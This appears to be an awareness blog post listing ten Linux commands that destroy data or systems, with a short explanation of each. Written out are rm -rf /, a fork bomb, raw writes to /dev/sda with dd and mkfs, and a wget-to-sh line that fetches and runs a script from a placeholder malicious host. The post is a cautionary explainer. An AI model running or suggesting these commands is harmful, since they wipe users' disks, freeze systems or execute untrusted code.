In this post you will understand most harmful commands in Linux.Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. I just want to make you aware of some of the commands which you should think twice before you execute them.
Dont execute these commands on your linux terminal
1. rm -rf Command
The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.
rm command in Linux is used to delete files.
rm -r command deletes the folder recursively, even the empty folder.
rm -f command removes ‘Read only File’ without asking.
rm -rf / : Force deletion of everything in root directory.
rm -rf * : Force deletion of everything in current directory/working directory.
rm -rf . : Force deletion of current folder and sub folders.
2. :(){:|:&};: Command
The above is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
:(){:|:&};:
3. command > /dev/sda
The above command writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
4. mv folder /dev/null
The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.
# mv /home/user/* /dev/null
The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).
5. wget http://malicious_source -O- | sh
The above command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.
6. mkfs.ext3 /dev/sda
The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.
7. > file
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.
8. ^foo^bar
This command, as described in our 10 Lesser Known Linux Commands, is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using ^foo^bar command.
9. dd if=/dev/random of=/dev/sda
The above command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
10. Hidden the Command
The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.
This may be curious but dont execute these commands on your terminal.
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